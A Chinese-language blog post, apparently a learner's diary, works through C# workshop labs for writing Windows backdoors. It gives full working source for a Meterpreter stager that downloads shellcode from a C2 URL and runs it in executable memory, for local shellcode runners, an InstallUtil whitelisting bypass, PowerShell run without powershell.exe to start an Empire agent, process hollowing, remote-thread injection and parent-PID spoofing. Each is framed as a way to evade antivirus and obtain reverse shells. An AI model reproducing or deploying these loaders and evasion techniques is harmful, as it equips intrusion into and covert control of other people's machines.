黑客学徒日记-使用C#编写backdoor

恶意样本的分类

安全软件

使用csharp编写自定义的后门

lab1 hello world

本实验的目标是使用 C# 实现典型的 Hello World 示例。第一个练习使用 .NETs Console 类来打印“Hello World”,而第二个练习使用 .NETs Platform Invocation Services 功能来导入和调用 Win32 Api MessageBox。

练习:使用csc.exe编译cs源码。运行编译后的exe并使用CFF explorer查看导入的dll。

1.cs

1
2
3
4
5
6
7
8
9
10
11
using System;

class Program
{
static void Main()
{
Console.WriteLine("Hello World!");
Console.WriteLine("Press any key to exit.");
Console.ReadKey();
}
}

2.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
using System;
using System.Runtime.InteropServices;

public class Program
{
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

static void Main()
{
MessageBox(new IntPtr(0), "Hello World from user32's MessageBox!!", "Important Dialog", 0);
}
}

lab2 自定义msf远程加载器

本实验的目标是使用 C# 编写自定义 Meterpreter stager,通过利用 WebClient 类下载meterpreter 的第二阶段和 Win32 API 函数将第二阶段复制到内存中并执行它。

1.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
using System;
using System.Text;
using System.Net;

class Program
{
static void Main()
{
WebClient wclient = new WebClient();
wclient.Headers["User-Agent"] ="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36";
byte[] response = wclient.DownloadData("https://www.google.com/");
Console.WriteLine("Downloaded Bytes");
Console.WriteLine(response.Length);
string html = Encoding.ASCII.GetString(response);
Console.WriteLine("HTML Content");
Console.WriteLine(html);
}
}

下载器,下载https://www.google.com/

2.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program
{

//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


public static void Main()
{
string url = "https://192.168.0.35:8080/nD7qcbYj8eZVilSICKHiKQ5d9UJt8wcsY3KVBWrtBEvK9mbfbWNqZ9sf1";
Stager(url);
}

public static void Stager(string url)
{
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

byte[] shellcode = wc.DownloadData(url);

UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threatHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threatHandle, 0xFFFFFFFF);
}
}

从给定的url下载shellcode,使用常用的api

VirtualAlloc = 分配内存

Marshal.Copy = 将shellcode复制到内存中

CreateThread = 创建线程

WaitForSingleObject = 等待线程执行结束

lab3 Raw Shellcode Injection

本实验的目标是编写一个自定义二进制文件,将预定义的 shellcode 注入内存并执行它。 Metasploit 的 msfvenom 将用于生成 shellcode,并且在 Lab 2 中使用的相同 Win32 API 调用将用于执行执行。

1.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using System;
using System.Runtime.InteropServices;

class Program
{

//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


static void Main()
{
IntPtr threatHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;

//msfvenom -a x64 -p windows/x64/messagebox Text="Hello from shellcode !" -f csharp
byte[] shellcode = new byte[1] { 0xfc };


UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threatHandle, 0xFFFFFFFF);

return;
}
}

不使用远程下载,直接将shellcode写入源码,并且没做混淆。

2.cs 绕过应用程序白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

public class Program
{
public static void Main()
{
Console.WriteLine("I am not malicious :)");
Console.ReadKey();
}

}

[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
LegitInstaller.Run();
}

}

public class LegitInstaller
{

public static void Run()
{
Process.Start("notepad.exe");
Console.ReadKey();

}

}

如果直接运行,会输出”I am not malicious“

用InstallUtil.exe运行,则会运行notepad.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile=/LogToConsole=false /U 2.exe

lab4

本实验室的目标是通过基于签名的反恶意软件减少对自定义有效负载的检测。我们可以通过使用两种常用技术混淆 msfvenom 生成的 shellcode 来实现这一点:XOR 和 AES

此小节跳过,xor混淆没啥用,aes加密有用。

msf生成shellcode可以使用xor混淆参数,这个功能已经被安全软件分析并标黑。

aes加密要自定义超长加密解密的密钥。

lab5 在c sharp中调用powershell

本实验的目标是执行 Powershell 脚本,并通过利用 .NET 框架和 C# 来避免使用 powershell.exe 二进制文件。使用这种技术,我们将获得一个 Powershell Empire 代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Management.Automation;
using System.Collections.ObjectModel;

public class Program
{
public static void Main()
{

PowerShell ps1 = PowerShell.Create();
ps1.AddScript("Start-Process calc.exe");
ps1.Invoke();


PowerShell ps2 = PowerShell.Create();
ps2.AddCommand("Get-Process");
Collection<PSObject> PSOutput = ps2.Invoke();
foreach (PSObject outputItem in PSOutput)
{
if (outputItem != null)
{
Console.WriteLine(outputItem);
}
}


}
}

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:”C:\Program Files(x86)\Reference
Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll” 1.cs

注意:要在Windows10编译,windows11没有System.Management.Automation.dll

2.cs

使用powershell上线c2,同样使用在c sharp中调用powershell的技术。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Management.Automation;
using System.Collections.ObjectModel;

public class Program
{
public static void Main()
{
PowerShell pstest = PowerShell.Create();
String script = "";
//这里是powershell上线的代码
script = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(script));
pstest.AddScript(script);
Collection<PSObject> output = null;
output = pstest.Invoke();
}
}

lab6

本实验的目标是使用 C# 实现 DLL 注入技术并从受害主机获取反向 shell。通过 3 种不同的练习,我们将了解并实施成功注射的不同步骤。

C# dll注入的演示

进程的注入与迁移

Powershell反射式dll注入

lab7

本实验的目标是使用 C# 技术了解和实施 Process Hollowing 技术,以在受害主机上获取反向 shell。

傀儡进程过winDefender

1.cs

使用傀儡进程需要三个windows api,开启线程、暂停线程(方便修改)、恢复线程(修改以后重新执行)。
OpenThread
SuspendThread
ResumeThread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.IO;
using System.Text;
using System.Threading;


public class Program
{
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread
[DllImport("kernel32.dll")]
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread
[DllImport("kernel32.dll")]
static extern uint SuspendThread(IntPtr hThread);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread
[DllImport("kernel32.dll")]
static extern int ResumeThread(IntPtr hThread);

private static UInt32 SUSPEND_RESUME = 0x0002;

public static void Main()
{
string proc = "msiexec.exe";
Process newproc;
newproc = Process.Start(proc);

Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
Console.WriteLine("Press Key to suspend the process ...");
Console.ReadKey();
Console.WriteLine("Suspending process...");
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
SuspendThread(pOpenThread);
}
Console.WriteLine("Suspended!");
Console.WriteLine("Press Key to resume the process ...");
Console.ReadKey();
Console.WriteLine("Resuming process...");
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
ResumeThread(pOpenThread);
}
Console.WriteLine("Resumed!");

}
}

2.cs

模拟将shellcode注入userinit.exe

OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
使用以上三个api将shellcode注入进程并执行

开启线程、暂停线程(方便修改)、恢复线程(修改以后重新执行)
在暂停线程和恢复线程之间,插入shellcode注入的代码,从而实现傀儡进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
using System.Threading;

public class Program
{

const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread
[DllImport("kernel32.dll")]
//static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread
[DllImport("kernel32.dll")]
static extern uint SuspendThread(IntPtr hThread);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread
[DllImport("kernel32.dll")]
static extern int ResumeThread(IntPtr hThread);

//https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll")]
//public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 SUSPEND_RESUME = 0x0002;

public static void Main()
{
byte[] shellcode = new byte[1] { 0xfc };
string proc = "userinit.exe";

Process newproc;
newproc = Process.Start(proc);
Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
Console.WriteLine("Suspending process...");
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
SuspendThread(pOpenThread);
}
Console.WriteLine("Suspended!");

IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);

IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Console.WriteLine("Allocating memory");
WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
Console.WriteLine("Copied shellcode in memory");
IntPtr pinfo = IntPtr.Zero;
IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
Console.WriteLine("Created remote thread");
Console.WriteLine("Resuming process...");

foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
ResumeThread(pOpenThread);
}
Console.WriteLine("Resumed!");
}

}

3.cs

使用CreateProcessA这个API,开启一个处于suspended暂停状态的进程,分配内存,shellcode写入进程内存,创建线程执行。

CreateProcessA
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
public class Program
{
[StructLayout(LayoutKind.Sequential)]
public class SecurityAttributes
{
public Int32 Length = 0;
public IntPtr lpSecurityDescriptor = IntPtr.Zero;
public bool bInheritHandle = false;

public SecurityAttributes()
{
this.Length = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct ProcessInformation
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessId;
public Int32 dwThreadId;
}
[Flags]
public enum CreateProcessFlags : uint
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}

[StructLayout(LayoutKind.Sequential)]
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
public IntPtr lpDesktop = IntPtr.Zero;
public IntPtr lpTitle = IntPtr.Zero;
public Int32 dwX = 0;
public Int32 dwY = 0;
public Int32 dwXSize = 0;
public Int32 dwYSize = 0;
public Int32 dwXCountChars = 0;
public Int32 dwYCountChars = 0;
public Int32 dwFillAttribute = 0;
public Int32 dwFlags = 0;
public Int16 wShowWindow = 0;
public Int16 cbReserved2 = 0;
public IntPtr lpReserved2 = IntPtr.Zero;
public IntPtr hStdInput = IntPtr.Zero;
public IntPtr hStdOutput = IntPtr.Zero;
public IntPtr hStdError = IntPtr.Zero;
public StartupInfo()
{
this.cb = Marshal.SizeOf(this);
}
}
[DllImport("kernel32.dll")]
public static extern IntPtr CreateProcessA(String lpApplicationName, String lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
String lpCurrentDirectory,
[In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation

);

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 MEM_COMMIT = 0x1000;

public static void Main()
{
string binary = "userinit.exe";
byte[] sc = new byte[1] { 0xfc };
Int32 size = sc.Length;
StartupInfo sInfo = new StartupInfo();
sInfo.dwFlags = 0;
ProcessInformation pInfo;
string binaryPath = "C:\\Windows\\System32\\" + binary;
IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
IntPtr hProcess = pInfo.hProcess;
IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

int test = 0;
IntPtr size2 = new IntPtr(sc.Length);
bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);
CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
}
}

lab8

最后一个实验的目标是利用 C# 生成一个新进程来欺骗其父进程,并向其注入 shellcode 以获得反向 shell。

1.cs

InitializeProcThreadAttributeList
UpdateProcThreadAttribute
CreateProcess

使用以上的windows API创建指定pid的子进程notepad.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
//https://github.com/leoloobeek/csharp/blob/master/ExecutionTesting.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
using System.IO;
using System.Diagnostics;

class Program
{
static void Main()
{

Console.WriteLine("Listing all processes...");
Console.WriteLine("--------------------------------------------------------------------");

Process[] procs = Process.GetProcesses();
foreach (Process proc in procs)
{
try
{
Console.WriteLine("Name:" + proc.ProcessName + " Path:" + proc.MainModule.FileName + " Id:" + proc.Id);
}
catch
{
continue;
}
}
Console.WriteLine("--------------------------------------------------------------------\n");
Console.WriteLine("Enter Id:");
int ParentProcId;
ParentProcId = Convert.ToInt32(Console.ReadLine());
Console.WriteLine(ParentProcId);

string binaryPath = "C:\\Windows\\System32\\notepad.exe";

Console.WriteLine(String.Format("Press enter to execute '{0}' under pid {1}", binaryPath, ParentProcId));
Console.ReadKey();
SpoofParent.Run(ParentProcId, binaryPath);
Console.WriteLine("Done. Press any key to exit...");
Console.ReadKey();
}
}

class SpoofParent
{
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds);

[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool SetHandleInformation(IntPtr hObject, HANDLE_FLAGS dwMask, HANDLE_FLAGS dwFlags);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);

[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);

public static bool Run(int parentProcessId, string binaryPath)
{
// STARTUPINFOEX members
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;

// STARTUPINFO members (dwFlags and wShowWindow)
const int STARTF_USESTDHANDLES = 0x00000100;
const int STARTF_USESHOWWINDOW = 0x00000001;
const short SW_HIDE = 0x0000;

// dwCreationFlags
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const uint CREATE_NO_WINDOW = 0x08000000;

var pInfo = new PROCESS_INFORMATION();
var siEx = new STARTUPINFOEX();

//siEx.StartupInfo.cb = Marshal.SizeOf(siEx);
IntPtr lpValueProc = IntPtr.Zero;
IntPtr hSourceProcessHandle = IntPtr.Zero;
var lpSize = IntPtr.Zero;

InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize);

IntPtr parentHandle = OpenProcess(ProcessAccessFlags.CreateProcess | ProcessAccessFlags.DuplicateHandle, false, parentProcessId);

lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValueProc, parentHandle);

UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);

siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
siEx.StartupInfo.wShowWindow = SW_HIDE;

var ps = new SECURITY_ATTRIBUTES();
var ts = new SECURITY_ATTRIBUTES();
ps.nLength = Marshal.SizeOf(ps);
ts.nLength = Marshal.SizeOf(ts);
bool ret = CreateProcess(binaryPath, null, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo);
if (!ret)
{
Console.WriteLine("[!] Proccess failed to execute!");
return false;
}

return true;


}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}

[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
[MarshalAs(UnmanagedType.Bool)]
public bool bInheritHandle;
}

[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}

[Flags]
enum HANDLE_FLAGS : uint
{
None = 0,
INHERIT = 1,
PROTECT_FROM_CLOSE = 2
}
}

参考资料

  • 《antivirus-bypass-techniques-learn-practical-techniques-and-tactics-to-combat-bypass-and-evade-antivirus-software》

  • github 《defcon27_csharp_workshop-master》